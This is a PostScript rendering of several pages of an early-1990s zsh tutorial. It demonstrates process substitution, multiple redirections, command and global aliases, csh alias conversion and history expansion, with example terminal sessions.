(foo =bar)-5.4 E(zsh: foo not found)108 116 Q 5.4(%s)108 127 S
(etopt noequals)-5.4 E 5.4(%l)108 138 S 5.4(s=)-5.4 G(foo =bar)-5.4 E
16.2(=foo =bar)108 149 R F0
(Another nice feature is process substitution:)72 170.6 Q F1 5.4(%w)108
187.6 S(ho | fgrep -f =\(print -l root lemke shgchan subbarao\))-5.4 E
21.6(root console)108 198.6 R(May 19 10:41)5.4 E 16.2(lemke ttyq0)108
209.6 R(May 22 10:05)16.2 E(\(narnia:0.0\))16.2 E 16.2(lemke ttyr7)108
220.6 R(May 22 10:05)16.2 E(\(narnia:0.0\))16.2 E 16.2(lemke ttyrd)108
231.6 R(May 22 10:05)16.2 E(\(narnia:0.0\))16.2 E 5.4(shgchan ttys1)108
242.6 R(May 23 16:52)16.2 E(\(gaudi.Princeton.\))16.2 E(subbarao ttyt7)
108 253.6 Q(May 23 15:02)16.2 E(\(mad55sx15.Prince\))16.2 E
(subbarao ttyu6)108 264.6 Q(May 23 15:04)16.2 E(\(mad55sx15.Prince\))
16.2 E 5.4(shgchan ttyvb)108 275.6 R(May 23 16:51)16.2 E
(\(gaudi.Princeton.\))16.2 E/F2 9/Times-Roman@0 SF 2.721(Ac)72 292.6 S
.47(ommand of the form)-2.721 F F1(=\()2.72 E F2(...)A F1(\))A F2 .47
(is replaced with the name of a)2.72 F/F3 9/Times-Italic@0 SF(\214le)
2.72 E F2 .47(containing its output.)2.72 F .47
(\(A command substitution, on the other)4.97 F 1.123
(hand, is replaced with the output itself.\))72 303.6 R F1 1.123
(print -l)5.623 F F2 1.123(is lik)3.373 F(e)-.09 E F1(echo)3.373 E F2
3.373(,e)C 1.124(xcepts that it prints its ar)-3.508 F 1.124
(guments one per line, the w)-.162 F(ay)-.09 E F1(fgrep)72 314.6 Q F2
-.135(ex)2.25 G(pects them:).135 E F1 5.4(%p)108 331.6 S
(rint -l foo bar)-5.4 E(foo)108 342.6 Q(bar)108 353.6 Q F2 1.44 -.72
(We c)72 370.6 T(ould also ha).72 E .27 -.135(ve w)-.18 H(ritten:).135 E
F1 5.4(%w)108 387.6 S(ho | fgrep -f =\(echo 'root)-5.4 E 5.4(>l)108
398.6 S(emke)-5.4 E 5.4(>s)108 409.6 S(hgchan)-5.4 E 5.4(>s)108 420.6 S
(ubbarao'\))-5.4 E F2 2.25(Using process substitution,)72 437.6 R 2.25
(you can edit the output of a command:)2.25 F F1 5.4(%e)108 454.6 S 5.4
(d=)-5.4 G(\(who | fgrep -f ~/.friends\))-5.4 E(355)108 465.6 Q
(g/lemke/d)108 476.6 Q 5.4(w/)108 487.6 S(tmp/filbar)-5.4 E(226)108
498.6 Q(q)108 509.6 Q 5.4(%c)108 520.6 S(at /tmp/filbar)-5.4 E 21.6
(root console)108 531.6 R(May 19 10:41)5.4 E 5.4(shgchan ttys1)108 542.6
R(May 23 16:52)16.2 E(\(gaudi.Princeton.\))16.2 E(subbarao ttyt7)108
553.6 Q(May 23 15:02)16.2 E(\(mad55sx15.Prince\))16.2 E(subbarao ttyu6)
108 564.6 Q(May 23 15:04)16.2 E(\(mad55sx15.Prince\))16.2 E 5.4
(shgchan ttyvb)108 575.6 R(May 23 16:51)16.2 E(\(gaudi.Princeton.\))16.2
E F2(or easily read archi)72 592.6 Q -.135(ve)-.225 G 2.25(dm).135 G
(ail:)-2.25 E 0 Cg EP
%%Page: 14 16
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-14-)297.67 48 Q/F1 9/Courier@0 SF 5.4(%m)108 83
S(ail -f =\(zcat ~/mail/oldzshmail.Z\))-5.4 E
("/tmp/zsha06024": 84 messages, 0 new, 43 unread)108 94 Q 10.8(>1UT)108
105 S(O: pfalstad, zsh \(10\))-10.8 E 10.8(2Un)124.2 116 S
(ytim!tim@uunet.uu.net, Re: Zsh on Sparc1 /SunOS 4.0.3)-10.8 E 10.8(3UJ)
124.2 127 S(AM%TPN@utrcgw.utc.com, zsh fix \(15\))-10.8 E 10.8(4Ud)124.2
138 S(jm@eng.umd.edu, way to find out if running zsh? \(25\))-10.8 E
10.8(5Ud)124.2 149 S
(jm@eng.umd.edu, Re: way to find out if running zsh? \(17\))-10.8 E 16.2
(6r)124.2 160 S(djm@eng.umd.edu, Meta . \(18\))-10.8 E 10.8(7Uj)124.2
171 S(ack@cs.glasgow.ac.uk, Re: problem building zsh \(147\))-10.8 E
10.8(8Un)124.2 182 S
(ytim!tim@uunet.uu.net, Re: Zsh on Sparc1 /SunOS 4.0.3)-10.8 E 27(9u)
124.2 193 S(rsa!jmd, Another fix... \(61\))-27 E 5.4
(10 U pplacewa@bbn.com,)118.8 204 R
(Re: v18i084: Zsh 2.00 - A small complaint \(36\))5.4 E 5.4
(11 U lubkin@cs.rochester.edu,)118.8 215 R(POSIX job control \(34\))5.4
E 5.4(12 U yale!bronson!tan@uunet.UU.NET)118.8 226 R 5.4
(13 U brett@rpi.edu,)118.8 237 R(zsh \(36\))5.4 E 5.4(14 S subbarao,)
118.8 248 R(zsh sucks!!!! \(286\))5.4 E 5.4
(15 U snibru!d241s008!d241s013!ala@relay.EU.net,)118.8 259 R
(zsh \(165\))5.4 E 5.4(16 U nytim!tim@uunet.UU.NET,)118.8 270 R
(Re: Zsh on Sparc1 /SunOS 4.0.3)5.4 E 5.4(17 U subbarao,)118.8 281 R
(zsh is a junk shell \(43\))5.4 E 5.4
(18 U amaranth@vela.acs.oakland.edu,)118.8 292 R(zsh \(33\))5.4 E
(43u/84 1: x)108 303 Q 5.4(%l)108 314 S 5.4(s-)-5.4 G 5.4(l/)-5.4 G
(tmp/zsha06024)-5.4 E(/tmp/zsha06024 not found)108 325 Q/F2 9
/Times-Roman@0 SF(Note that the shell creates a temporary \214le, and d\
eletes it when the command is \214nished.)72 342 Q F1 5.4(%d)108 359 S
(iff =\(ls\) =\(ls -F\))-5.4 E(3c3)108 370 Q 5.4(<f)108 381 S(ortune)
-5.4 E(---)108 392 Q 5.4(>f)108 403 S(ortune*)-5.4 E(10c10)108 414 Q 5.4
(<s)108 425 S(trfile)-5.4 E(---)108 436 Q 5.4(>s)108 447 S(trfile*)-5.4
E F2 .234(If you read)72 464 R/F3 9/Times-Bold@0 SF(zsh)2.484 E F2 1.224
-.495('s m)D .234(an page, you may notice that).495 F F1(<\()2.484 E F2
(...)A F1(\))A F2 .234
(is another form of process substitution which is similar to)4.734 F F1
(=\()2.484 E F2(...)A F1(\))A F2 4.734(.T)C(here)-4.734 E .671
(is an important dif)72 475 R .672(ference between the tw)-.225 F 2.922
(o. In)-.09 F(the)2.922 E F1(<\()2.922 E F2(...)A F1(\))A F2 .672
(case, the shell creates a named pipe \(FIFO\) instead of a \214le.)
2.922 F .672(This is)5.172 F(better)72 486 Q 2.643(,s)-.36 G .393
(ince it does not \214ll up the \214le system; b)-2.643 F .393
(ut it does not w)-.18 F .393(ork in all cases.)-.09 F .393(In f)4.893 F
.393(act, if we had replaced)-.09 F F1(=\()2.643 E F2(...)A F1(\))A F2
(with)2.643 E F1(<\()2.643 E F2(...)A F1(\))A F2(in)2.643 E .316(the e)
72 497 R .317(xamples abo)-.135 F -.135(ve)-.135 G 2.567(,a).135 G .317
(ll of them w)-2.567 F .317(ould ha)-.09 F .587 -.135(ve s)-.18 H .317
(topped w).135 F .317(orking e)-.09 F .317(xcept for)-.135 F F1 .317
(fgrep -f <\()2.567 F F2(...)A F1(\))A F2 4.817(.Y)C .317
(ou can not edit a pipe, or open it)-5.807 F 1.438(as a mail folder;)72
508 R F1(fgrep)3.688 E F2 3.688(,h)C -.225(ow)-3.688 G -1.935 -.225
(ev e).225 H 2.158 -.36(r, h).225 H 1.438
(as no problem with reading a list of w).36 F 1.437(ords from a pipe.)
-.09 F -.99(Yo)5.937 G 3.687(um).99 G 1.437(ay w)-3.687 F 1.437
(onder wh)-.09 F(y)-.045 E F1(diff)3.687 E .154(<\(foo\) bar)72 519 R F2
(doesn')2.404 E 2.404(tw)-.162 G .154(ork, since)-2.494 F F1 .154
(foo | diff - bar)2.404 F F2 -.09(wo)2.404 G .154(rks; this is because)
.09 F F1(diff)2.404 E F2 .155
(creates a temporary \214le if it notices that)2.404 F(one of its ar)72
530 Q(guments is)-.162 E F1(-)2.25 E F2 2.25(,a)C
(nd then copies its standard input to the temporary \214le.)-2.25 E/F4
10/Courier@0 SF(>\()72 545.6 Q F0(...)A F4(\))A F0(is just lik)2.5 E(e)
-.1 E F4(<\()2.5 E F0(...)A F4(\))A F0 -.15(ex)2.5 G(cept that the comm\
and between the parentheses will get its input from the named pipe.).15
E F1 5.4(%d)108 562.6 S(vips -o >\(lpr\) zsh.dvi)-5.4 E/F5 10
/Times-Bold@0 SF(Redir)72 592.6 Q(ection)-.18 E F0 1.058
(Apart from all the re)72 608.2 R 1.058(gular redirections lik)-.15 F
3.558(et)-.1 G 1.058(he Bourne shell has,)-3.558 F F5(zsh)3.558 E F0
1.058(can do more.)3.558 F -1.1(Yo)6.057 G 3.557(uc)1.1 G 1.057
(an send the output of a)-3.557 F
(command to more than one \214le, by specifying more redirections lik)72
620.2 Q(e)-.1 E F1 5.4(%e)108 637.2 S(cho Hello World >file1 >file2)-5.4
E F2(and the te)72 654.2 Q(xt will end up in both \214les.)-.135 E
(Similarly)4.5 E 2.25(,y)-.585 G
(ou can send the output to a \214le and into a pipe:)-2.25 E F1 5.4(%m)
108 671.2 S(ake > make.log | grep Error)-5.4 E F2
(The same goes for input.)72 688.2 Q -.99(Yo)4.5 G 2.25(uc).99 G(an mak)
-2.25 E 2.25(et)-.09 G
(he input of a command come from more than one \214le.)-2.25 E F1 5.4
(%s)108 705.2 S(ort <file1 <file2 <file3)-5.4 E F2 .642(The command wil\
l \214rst get the contents of \214le1 as its standard input, then those\
 of \214le2 and \214nally the contents of \214le3.)72 722.2 R(This,)
5.143 E 0 Cg EP
%%Page: 15 17
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-15-)297.67 48 Q/F1 9/Times-Roman@0 SF(too, w)72
83 Q(orks with pipes.)-.09 E/F2 9/Courier@0 SF 5.4(%c)108 100 S
(ut -d: -f1 /etc/passwd | sort <newnames)-5.4 E F1
(The sort will get as its standard input \214rst the output of)72 117 Q
F2(cut)2.25 E F1(and then the contents of)2.25 E F2(newnames)2.25 E F1
(.)A F0 .335(Suppose you w)72 132.6 R .335(ould lik)-.1 F 2.835(et)-.1 G
2.835(ow)-2.835 G .335
(atch the standard output of a command on your terminal, b)-2.935 F .335
(ut w)-.2 F .335(ant to pipe the standard)-.1 F
(error to another command.)72 144.6 Q(An easy w)5 E(ay to do this in)-.1
E/F3 10/Times-Bold@0 SF(zsh)2.5 E F0
(is by redirecting the standard error using)2.5 E/F4 10/Courier@0 SF
(2> >\()2.5 E F0(...)A F4(\))A F0(.)A F2 5.4(%f)108 161.6 S
(ind / -name games 2> >\(grep -v 'Permission' > realerrors\))-5.4 E F1
(The abo)72 178.6 Q .27 -.135(ve r)-.135 H
(edirection will actually be implemented with a re).135 E
(gular pipe, not a temporary named pipe.)-.135 E F3(Aliasing)72 202.6 Q
F0(Often-used commands can be abbre)72 218.2 Q(viated with an alias:)
-.25 E F2 5.4(%a)108 235.2 S(lias uc=uncompress)-5.4 E 5.4(%l)108 246.2
S(s)-5.4 E(hanoi.Z)108 257.2 Q 5.4(%u)108 268.2 S 5.4(ch)-5.4 G(anoi)
-5.4 E 5.4(%l)108 279.2 S(s)-5.4 E(hanoi)108 290.2 Q F1
(or commands with certain desired options:)72 307.2 Q F2 5.4(%a)108
324.2 S(lias fm='finger -m')-5.4 E 5.4(%f)108 335.2 S 5.4(mr)-5.4 G(oot)
-5.4 E(Login name: root)108 346.2 Q(In real life: Operator)129.6 E
(Directory: /)108 357.2 Q(Shell: /bin/csh)151.2 E
(On since May 19 10:41:15 on console)108 368.2 Q 5.4(3d)27 G
(ays 5 hours Idle Time)-5.4 E(No unread mail)108 379.2 Q(No Plan.)108
390.2 Q 5.4(%a)108 412.2 S(lias lock='lock -p -60000')-5.4 E 5.4(%l)108
423.2 S(ock)-5.4 E
(lock: /dev/ttyr4 on phoenix. timeout in 60000 minutes)108 434.2 Q
(time now is Fri May 24 04:23:18 EDT 1991)108 445.2 Q(Key:)108 456.2 Q
5.4(%a)108 478.2 S(lias l='ls -AF')-5.4 E 5.4(%l/)108 489.2 S 70.2
(.bash_history kadb*)108 500.2 R 102.6(.bashrc lib@)108 511.2 R 108
(.cshrc licensed/)108 522.2 R 113.4(.exrc lost+found/)108 533.2 R 108
(.login macsyma)108 544.2 R F1(...)108 555.2 Q
(Aliases can also be used to replace old commands:)72 572.2 Q F2 5.4(%a)
108 589.2 S(lias grep=egrep ps=sps make=gmake)-5.4 E 5.4(%a)108 600.2 S
(lias whoami='echo root')-5.4 E 5.4(%w)108 611.2 S(hoami)-5.4 E(root)108
622.2 Q F1(or to de\214ne ne)72 639.2 Q 2.25(wo)-.225 G(nes:)-2.25 E 0
Cg EP
%%Page: 16 18
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-16-)297.67 48 Q/F1 9/Courier@0 SF 5.4(%c)108 83
S 5.4(d/)-5.4 G 5.4(%a)108 94 S(lias sz='ls -l | sort -n +3 | tail -10')
-5.4 E 5.4(%s)108 105 S(z)-5.4 E 5.4(drwxr-sr-x 7)108 116 R 48.6
(bin 3072)5.4 F(May 23 11:59 etc)5.4 E(drwxrwxrwx 26 root)108 127 Q
(5120 May 24 04:20 tmp)48.6 E 5.4(drwxr-xr-x 2)108 138 R 43.2(root 8192)
5.4 F(Dec 26 19:34 lost+found)5.4 E 5.4(drwxr-sr-x 2)108 149 R 43.2
(bin 14848)5.4 F(May 23 18:48 dev)5.4 E 5.4(-r--r--r-- 1)108 160 R 32.4
(root 140520)5.4 F(Dec 26 20:08 boot)5.4 E 5.4(-rwxr-xr-x 1)108 171 R
32.4(root 311172)5.4 F(Dec 26 20:08 kadb)5.4 E 5.4(-rwxr-xr-x 1)108 182
R 27(root 1209695)5.4 F(Apr 16 15:33 vmunix.old)5.4 E 5.4(-rwxr-xr-x 1)
108 193 R 27(root 1209702)5.4 F(May 14 19:04 vmunix)5.4 E 5.4
(-rwxr-xr-x 1)108 204 R 27(root 1209758)5.4 F
(May 21 12:23 vmunix.new.kernelmap.old)5.4 E 5.4(-rwxr-xr-x 1)108 215 R
27(root 1711848)5.4 F(Dec 26 20:08 vmunix.org)5.4 E 5.4(%c)108 226 S(d)
-5.4 E 5.4(%a)108 237 S
(lias rable='ls -AFtrd *\(R\)' nrable='ls -AFtrd *\(^R\)')-5.4 E 5.4(%r)
108 248 S(able)-5.4 E 27(README func/)108 259 R 37.8(bin/ pub/ News/)
37.8 F(src/)37.8 E 5.4(nicecolors etc/)108 270 R 37.8(scr/ tmp/ iris/)
43.2 F(zsh*)37.8 E 5.4(%n)108 281 S(rable)-5.4 E 5.4(Mailboxes/ mail/)
108 292 R(notes)37.8 E/F2 9/Times-Roman@0 SF(\(The pattern)72 309 Q F1
(*\(R\))2.25 E F2(matches all readable \214les in the current directory)
2.25 E 2.25(,a)-.585 G(nd)-2.25 E F1(*\(^R\))2.25 E F2
(matches all unreadable \214les.\))2.25 E F0 .341(Most other shells ha)
72 324.6 R .641 -.15(ve a)-.2 H .341(liases of this kind \().15 F/F3 10
/Times-Italic@0 SF(command)A F0 2.841(aliases\). Ho)2.841 F(we)-.25 E
-.15(ve)-.25 G -.4(r,).15 G/F4 10/Times-Bold@0 SF(zsh)3.241 E F0 .341
(also has)2.841 F F3(global)2.841 E F0 .342(aliases, which are sub-)
2.841 F(stituted an)72 336.6 Q(ywhere on a line.)-.15 E
(Global aliases can be used to abbre)5 E
(viate frequently-typed usernames, hostnames, etc.)-.25 E F1 5.4(%a)108
353.6 S(lias -g me=pfalstad gun=egsirer mjm=maruchck)-5.4 E 5.4(%w)108
364.6 S(ho | grep me)-5.4 E(pfalstad ttyp0)108 375.6 Q(May 24 03:39)16.2
E(\(mickey.Princeton\))16.2 E(pfalstad ttyp5)108 386.6 Q(May 24 03:42)
16.2 E(\(mickey.Princeton\))16.2 E 5.4(%f)108 397.6 S 5.4(mg)-5.4 G(un)
-5.4 E(Login name: egsirer)108 408.6 Q(In real life: Emin Gun Sirer)
113.4 E(Directory: /u/egsirer)108 419.6 Q(Shell: /bin/sh)102.6 E
(Last login Thu May 23 19:05 on ttyq3 from bow.Princeton.ED)108 430.6 Q
(New mail received Fri May 24 02:30:28 1991;)108 441.6 Q
(unread since Fri May 24 02:30:27 1991)118.8 452.6 Q 5.4(%a)108 463.6 S
(lias -g phx=phoenix.princeton.edu warc=wuarchive.wustl.edu)-5.4 E 5.4
(%f)108 474.6 S(tp warc)-5.4 E(Connected to wuarchive.wustl.edu.)108
485.6 Q F2(Here are some more interesting uses.)72 502.6 Q F1 5.4(%a)108
519.6 S(lias -g M='| more' GF='| fgrep -f ~/.friends')-5.4 E 5.4(%w)108
530.6 S(ho M)-5.4 E(#)16.2 E/F5 9/Times-Italic@0 SF 2.25
(pipes the output of)5.4 F F1(who)4.5 E F5(thr)4.5 E(ough)-.405 E F1
(more)4.5 E 5.4(%w)108 541.6 S(ho GF)-5.4 E(#)10.8 E F5 2.25
(see if your friends ar)5.4 F 4.5(eo)-.333 G(n)-4.5 E F1 5.4(%wG)108
552.6 S 21.6(F#)-5.4 G F5 2.25(see what your friends ar)-16.2 F 4.5(ed)
-.333 G(oing)-4.5 E F2(Another e)72 569.6 Q(xample mak)-.135 E
(es use of)-.09 E/F6 9/Times-Bold@0 SF(zsh)2.25 E F2 .99 -.495('s p)D
(rocess substitution.).495 E
(If you run NIS, and you miss being able to do this:)4.5 E F1 5.4(%g)108
586.6 S(rep pfalstad /etc/passwd)-5.4 E F2
(you can de\214ne an alias that will seem more natural than)72 603.6 Q
F1(ypmatch pfalstad passwd)2.25 E F2(:)A F1 5.4(%a)108 620.6 S
(lias -g PASS='<\(ypcat passwd\)')-5.4 E 5.4(%g)108 631.6 S
(rep pfalstad PASS)-5.4 E(pfalstad:*:3564:35:Paul John Falstad:/u/pfals\
tad:/usr/princeton/bin/zsh)108 642.6 Q F2(If you')72 659.6 Q
(re really crazy)-.45 E 2.25(,y)-.585 G(ou can e)-2.25 E -.135(ve)-.225
G 2.25(nc).135 G(all it)-2.25 E F1(/etc/passwd)2.25 E F2(:)A F1 5.4(%a)
108 676.6 S(lias -g /etc/passwd='<\(ypcat passwd\)')-5.4 E 5.4(%g)108
687.6 S(rep pfalstad /etc/passwd)-5.4 E(pfalstad:*:3564:35:Paul John Fa\
lstad:/u/pfalstad:/usr/princeton/bin/zsh)108 698.6 Q F2 .594(The last e)
72 715.6 R .594(xample sho)-.135 F .593
(ws one of the perils of global aliases; the)-.225 F 2.843(yh)-.135 G
-2.025 -.18(av e)-2.843 H 2.843(al)3.023 G .593
(ot of potential to cause confusion.)-2.843 F -.135(Fo)5.093 G 2.843(re)
.135 G .593(xample, if you)-2.978 F .57(de\214ned a global alias called)
72 726.6 R F1(|)2.82 E F2 .57(\(which is possible\),)2.82 F F6(zsh)2.82
E F2 -.09(wo)2.82 G .57(uld be).09 F .571(gin to act v)-.135 F .571
(ery strangely; e)-.135 F -.135(ve)-.225 G .571(ry pipe symbol w).135 F
.571(ould be replaced)-.09 F 0 Cg EP
%%Page: 17 19
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-17-)297.67 48 Q/F1 9/Times-Roman@0 SF .266
(with the te)72 83 R .266(xt of your alias.)-.135 F 1.706 -.72(To s)
4.766 H .266(ome e).72 F .266(xtent, global aliases are lik)-.135 F
2.515(em)-.09 G .265
(acros in C; discretion is advised in using them and in choos-)-2.515 F
.054(ing names for them.)72 94 R .055(Using names in all caps is not a \
bad idea, especially for aliases which introduce shell metasyntax \(lik)
4.554 F(e)-.09 E/F2 9/Courier@0 SF(M)2.305 E F1(and)2.305 E F2(GF)72 105
Q F1(abo)2.25 E -.135(ve)-.135 G(\).).135 E F0 .593(Note that)72 120.6 R
/F3 10/Times-Bold@0 SF(zsh)3.093 E F0 .593(aliases are not lik)3.093 F
3.093(ec)-.1 G .593(sh aliases.)-3.093 F .592
(The syntax for de\214ning them is dif)5.592 F .592(ferent, and the)-.25
F 3.092(yd)-.15 G 3.092(on)-3.092 G .592(ot ha)-3.092 F .892 -.15(ve a)
-.2 H -.18(rg).15 G(u-).18 E 2.5(ments. All)72 132.6 R(your f)2.5 E -.2
(avo)-.1 G(rite csh aliases will probably not w).2 E(ork under)-.1 E F3
(zsh)2.5 E F0 5(.F)C(or e)-5.15 E(xample, if you try:)-.15 E F2
(alias rm mv '\\!* /tmp/wastebasket')108 149.6 Q F1 .834
(no aliases will be de\214ned, b)72 166.6 R(ut)-.18 E/F4 9/Times-Bold@0
SF(zsh)3.084 E F1 .835(will not report an error)3.085 F 5.335(.I)-.495 G
3.085(nc)-5.335 G .835(sh, this line de\214nes an alias that mak)-3.085
F(es)-.09 E F2(rm)3.085 E F1 .835(safe---\214les that are)3.085 F F2(rm)
72 177.6 Q F1 1.436 -.45('d w)D .536(ill be mo).45 F -.135(ve)-.135 G
2.786(dt).135 G 2.786(oat)-2.786 G .536
(emporary directory instead of instantly destro)-2.786 F 2.786(yed. In)
-.09 F F4(zsh)2.786 E F1 1.526 -.495('s s)D .536(yntax, ho).495 F(we)
-.225 E -.135(ve)-.225 G 1.255 -.36(r, t).135 H .535
(his line asks the shell to).36 F .737(print an)72 188.6 R 2.987(ye)
-.135 G .737(xisting alias de\214nitions for)-3.122 F F2(rm)2.987 E F1
(,)A F2(mv)2.987 E F1 2.987(,o)C(r)-2.987 E F2(!* /tmp/wastebasket)2.987
E F1 5.237(.S)C .737(ince there are none, most lik)-5.237 F(ely)-.09 E
2.987(,t)-.585 G .737(he shell will)-2.987 F(not print an)72 199.6 Q
(ything, although)-.135 E F2(alias)2.25 E F1(will return a nonzero e)
2.25 E(xit code.)-.135 E(The proper syntax is this:)4.5 E F2
(alias rm='mv \\!* /tmp/wastebasket')108 216.6 Q F1(Ho)72 233.6 Q(we)
-.225 E -.135(ve)-.225 G .72 -.36(r, t).135 H(his w).36 E(on')-.09 E
2.25(tw)-.162 G(ork either:)-2.34 E F2 5.4(%r)108 250.6 S 5.4(mf)-5.4 G
(oo.dvi)-5.4 E(zsh: no matches found: !*)108 261.6 Q F1(While this mak)
72 278.6 Q(es)-.09 E F2(rm)2.25 E F1
(safe, it is certainly not what the user intended.)2.25 E(In)4.5 E F4
(zsh)2.25 E F1 2.25(,y)C(ou must use a shell function for this:)-2.25 E
F2 5.4(%u)108 295.6 S(nalias rm)-5.4 E 5.4(%r)108 306.6 S 5.4(m\()-5.4 G
5.4(\){m)-5.4 G 5.4(v$)-5.4 G 5.4(*/)-5.4 G(tmp/wastebasket })-5.4 E 5.4
(%r)108 317.6 S 5.4(mf)-5.4 G(oo.dvi)-5.4 E 5.4(%l)108 328.6 S 5.4(s/)
-5.4 G(tmp/wastebasket)-5.4 E(foo.dvi)108 339.6 Q F1 .341(While this is\
 much cleaner and easier to read \(I hope you will agree\), it is not c\
sh-compatible.)72 356.6 R .341(Therefore, a script to con)4.841 F -.135
(ve)-.36 G .341(rt csh).135 F .667(aliases and v)72 367.6 R .667
(ariables has been pro)-.225 F 2.917(vided. Y)-.135 F .667
(ou should only need to use it once, to con)-.99 F -.135(ve)-.36 G .668
(rt all your csh aliases and parameters to).135 F F4(zsh)72 378.6 Q F1
(format:)2.25 E F2 5.4(%c)108 395.6 S(sh)-5.4 E(csh> alias)108 406.6 Q
37.8(ll)108 417.6 S 5.4(s-)-37.8 G(AF)-5.4 E 16.2(more less)108 428.6 R
27(on last)108 439.6 R(-2 !:1 ; who | grep !:1)5.4 E(csh> exit)108 450.6
Q 5.4(%c)108 461.6 S(2z >neat_zsh_aliases)-5.4 E 5.4(%c)108 472.6 S
(at neat_zsh_aliases)-5.4 E(alias l='ls -AF')108 483.6 Q
(alias more='less')108 494.6 Q(on \(\) { last -2 $1 ; who | grep $1 })
108 505.6 Q(...)108 516.6 Q F1 .289(The \214rst tw)72 533.6 R 2.539(oa)
-.09 G .289(liases were con)-2.539 F -.135(ve)-.36 G .289(rted to re)
.135 F(gular)-.135 E F4(zsh)2.539 E F1 .288
(aliases, while the third, since it needed to handle ar)2.539 F .288
(guments, w)-.162 F .288(as con)-.09 F -.135(ve)-.36 G .288(rted to).135
F 2.682(af)72 544.6 S(unction.)-2.682 E F2(c2z)4.932 E F1 .433(can con)
2.683 F -.135(ve)-.36 G .433(rt most aliases to).135 F F4(zsh)2.683 E F1
.433(format without an)2.683 F 2.683(yp)-.135 G 2.683(roblems. Ho)-2.683
F(we)-.225 E -.135(ve)-.225 G 1.153 -.36(r, i).135 H 2.683(fy).36 G(ou')
-2.683 E .433(re using some really arcane csh)-.45 F
(tricks, or if you ha)72 555.6 Q .27 -.135(ve a)-.18 H 2.25(na).135 G
(lias with a name lik)-2.25 E(e)-.09 E F2(do)2.25 E F1
(\(which is reserv)2.25 E(ed in)-.135 E F4(zsh)2.25 E F1(\), you may ha)
A .27 -.135(ve t)-.18 H 2.25<6f8c>.135 G 2.25(xs)-2.25 G
(ome of the aliases by hand.)-2.25 E F0(The)72 571.2 Q/F5 10/Courier@0
SF(c2z)2.652 E F0 .151
(script checks your csh setup, and produces a list of)2.651 F F3(zsh)
2.651 E F0 .151(commands which replicate your aliases and param-)2.651 F
(eter settings as closely as possible.)72 583.2 Q -1.1(Yo)5 G 2.5(uc)1.1
G(ould include its output in your startup \214le,)-2.5 E F5(.zshrc)2.5 E
F0(.)A F3(History)72 607.2 Q F0(There are se)72 622.8 Q -.15(ve)-.25 G
(ral w).15 E(ays to manipulate history in)-.1 E F3(zsh)2.5 E F0 5(.O)C
(ne w)-5 E(ay is to use csh-style)-.1 E F5(!)2.5 E F0(history:)2.5 E F2
5.4(%/)108 639.8 S(usr/bin/!:0 !-2*:s/foo/bar/ >>!$)-5.4 E F1 .432
(If you don')72 656.8 R 2.682(tw)-.162 G .432
(ant to use this, you can turn it of)-2.772 F 2.682(fb)-.225 G 2.682(yt)
-2.682 G(yping)-2.682 E F2 .433(setopt nobanghist)2.683 F F1 4.933(.I)C
2.683(fy)-4.933 G .433(ou are afraid of accidentally e)-2.683 F -.135
(xe)-.135 G(cuting).135 E .221(the wrong command you can set the)72
667.8 R/F6 9/Times-Italic@0 SF(HISTVERIFY)2.471 E F1 2.471(option. If)
2.471 F .22(this option is set, commands that result from history e)
2.471 F .22(xpansion will)-.135 F(not be e)72 678.8 Q -.135(xe)-.135 G
(cuted immediately).135 E 2.25(,b)-.585 G
(ut will be put back into the editor b)-2.43 E(uf)-.18 E
(fer for further consideration.)-.225 E F0 1.166(If you')72 694.4 R
1.166(re not f)-.5 F 1.166(amiliar with)-.1 F F5(!)3.666 E F0(history)
3.666 E 3.666(,h)-.65 G 1.166(ere follo)-3.666 F 1.166(ws some e)-.25 F
3.667(xplanation. History)-.15 F 1.167(substitutions al)3.667 F -.1(wa)
-.1 G 1.167(ys start with a).1 F F5(!)3.667 E F0(,)A .67
(commonly called \231bang\232.)72 706.4 R .67(After the)5.67 F F5(!)3.17
E F0 .669(comes an \(optional\) designation of which \231e)3.17 F -.15
(ve)-.25 G .669(nt\232 \(command\) to use, then a).15 F .99
(colon, and then a designation of what w)72 718.4 R .99
(ord of that command to use.)-.1 F -.15(Fo)5.99 G 3.49(re).15 G(xample,)
-3.64 E F5(!-)3.49 E/F7 10/Times-Italic@0 SF(n)A F0 .99
(refers to the command)3.49 F F7(n)3.49 E F0(commands ago.)72 730.4 Q 0
Cg EP
%%Page: 18 20
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-18-)297.67 48 Q/F1 9/Courier@0 SF 5.4(%l)108 83
S(s)-5.4 E 5.4(foo bar)108 94 R 5.4(%c)108 105 S 5.4(df)-5.4 G(oo)-5.4 E
5.4(%!)108 116 S(-2)-5.4 E(ls)108 127 Q 5.4(baz bam)108 138 R/F2 9
/Times-Roman@0 SF .423(No w)72 155 R .423(ord designator w)-.09 F .422
(as used, which means that the whole command referred to w)-.09 F .422
(as repeated.)-.09 F .422(Note that the shell will echo the)4.922 F 1.12
(result of the history substitution.)72 166 R 1.121(The w)5.62 F 1.121
(ord designator can, among other things, be a number indicating the ar)
-.09 F 1.121(gument to use,)-.162 F(where)72 177 Q F1(0)2.25 E F2
(is the command.)2.25 E F1 5.4(%/)108 194 S(usr/bin/ls foo)-5.4 E(foo)
108 205 Q 5.4(%!)108 216 S(:0 bar)-5.4 E(/usr/bin/ls bar)108 227 Q(bar)
108 238 Q F2(In this e)72 255 Q(xample, no e)-.135 E -.135(ve)-.225 G
(nt designator w).135 E(as used, which tells)-.09 E/F3 9/Times-Bold@0 SF
(zsh)2.25 E F2(to use the pre)2.25 E(vious command.)-.225 E(A)4.5 E F1
($)2.25 E F2(speci\214es the last ar)2.25 E(gument)-.162 E F1 5.4(%m)108
272 S(kdir /usr/local/lib/emacs/site-lisp/calc)-5.4 E 5.4(%c)108 283 S
5.4(d!)-5.4 G(:$)-5.4 E(cd /usr/local/lib/emacs/site-lisp/calc)108 294 Q
F2(If you use more w)72 311 Q
(ords of the same command, only the \214rst)-.09 E F1(!)2.25 E F2
(needs an e)4.5 E -.135(ve)-.225 G(nt designator).135 E(.)-.495 E F1 5.4
(%m)108 328 S(ake prig >> make.log)-5.4 E
(make: *** No rule to make target `prig'.)108 339 Q(Stop.)10.8 E 5.4(%c)
108 350 S 5.4(ds)-5.4 G(rc)-5.4 E 5.4(%!)108 361 S(-2:0 prog >> !:$)-5.4
